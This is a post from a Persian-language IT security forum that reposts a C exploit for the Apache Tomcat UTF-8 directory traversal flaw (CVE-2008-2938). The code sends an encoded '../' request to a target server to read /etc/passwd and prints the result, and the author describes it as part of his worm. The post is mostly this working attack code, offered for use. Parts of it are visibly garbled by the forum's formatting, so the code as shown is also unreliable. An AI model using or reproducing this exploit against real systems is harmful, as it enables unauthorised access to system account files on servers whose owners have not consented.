IT Security Team  
قدیمی 07-28-2010, 05:34 PM   #1
مديريت انجمن
 
homay آواتار ها
 
تاریخ عضویت: Jun 2009
نوشته ها: 368
Thanks: 438
Thanked 346 Times in 169 Posts
پیش فرض Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability

کد PHP:
/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit
c0d3r: mywisdom
thanks for not being lame to change exploit author
tis is one of my linux w0rm module for user enumerations, i've dual os worm
thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r
thanks to: isa m said, whitecyber
thanks to all devilzc0de crews and members, all jasakom crews and members
    * EDB-ID: 6229
    * CVE: 2008-2938
    * OSVDB-ID: 47464
    * Author: Simon Ryeo
    * Published: 2008-08-11
    * Verified: Verified
greetz to inj3ct0r crews:
31337 Inj3ct0r Members:
 
cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka,
 
Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc..
not so good but worth to try if our target directory structure has /usr/local/wwwroot
 
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n"
#define RCVBUFSIZE 9999 
#define tester "root:x"    
void cls()
 {
 
char esc 27;
 
printf("%c%s",esc,"***91;2J");
 
printf("%c%s",esc,"***91;1;1H");
 }
int main(int argc,char **argv)
{
if(
argc<2)
  {
   
/**checking argument to avoid memory wasting for useless variables in vma**/
   
cls();
   
printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n");
   
printf("\nc0d3r: mywisdom\n");    
   
printf("\nusage:./tomcatevil hotname\n");
   exit(
1);
  }
else
 {
   
 
int port=80;
 
char echobuf***91;RCVBUFSIZE***93;;
 
int rval,sockfdbytesrcvtotalbytes;
 
struct hostent *he;
 
struct sockaddr_in their_addr;
 if((
he=gethostbyname(argv***91;1***93;)) == NULL)
  {
   
perror("\nSorry please recheck your target hostname !\n");
   exit(
1);
  }
  else
  {
   if((
sockfd socket(AF_INETSOCK_STREAM0)) == -1)
    {
     
perror("socket()");
     exit(
1);
    }
    else
    {
        
//exploiting and try to get /etc/passwd
  
their_addr.sin_family AF_INET;
 
 
printf("\n***91;-***93;Checking whether port %d opens or not\n",port);
 
their_addr.sin_port htons(port);
 
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
 
memset(&(their_addr.sin_zero), '\0'8);
 if(
connect(sockfd, (struct sockaddr *)&their_addrsizeof(struct sockaddr)) == -1)
  {
  
perror("failed to connect !!!");
   
  }
 else
 {
 
printf("\n***91;+***93;Port 80 opens !!! now sending your exploit to our target\n");
 if(
send(sockfdEXPLOIT,999,0)==-1)
   {
 
perror ("send");
   }
 else
   {
       
totalbytes=0;
       while (
totalbytes RCVBUFSIZE)
        {
        
        if ((
bytesrcv recv(sockfdechobufRCVBUFSIZE 10)) <= 0)
            {
 
            }
            else
            { 
              
totalbytes += bytesrcv
              
echobuf***91;bytesrcv***93; = '\0';  
                
            }
           
totalbytes++;
        }
     
   
   }
 
   if(
echobuf)
       {
         
        
rval=strstr (echobuftester);
          if(
rval)
             {
            
printf(echobuf);
            
printf("\n***91;+***93;w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n");
            exit(
1);
             }
             else
            {
            
printf(echobuf);
            
printf("\n***91;-***93;target not vulnerable !!!\n");
            exit(
1);
            }
       }
 
 }
 
close(sockfd);
 
 
 
       
//eof exploiting
 
    
}
   }
 
 }
 
 

__________________
سلام داداش

عشق یک جوشش کور است و پیوندی از سر نابینایی
دوست داشتن پیوندی خود آگاه و از روی بصیرت روشن و زلال
homay آنلاین نیست.   پاسخ با نقل قول
پاسخ

ابزارهای موضوع
نحوه نمایش

مجوز های ارسال و ویرایش
شما نمیتوانید موضوع جدیدی ارسال کنید
شما امکان ارسال پاسخ را ندارید
شما نمیتوانید فایل پیوست در پست خود ضمیمه کنید
شما نمیتوانید پست های خود را ویرایش کنید

BB code هست فعال
شکلک ها فعال است
کد [IMG] فعال است
کد HTML غیر فعال است
Trackbacks are فعال
Pingbacks are فعال
Refbacks are فعال



اکنون ساعت 06:05 AM برپایه ساعت جهانی (GMT - گرینویچ) +4.5 می باشد.


Powered by vBulletin
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd

كليه حقوق اين وب سايت براي ITSecTeam محفوظ ميباشد


Content Relevant URLs by vBSEO ©2011, Crawlability, Inc.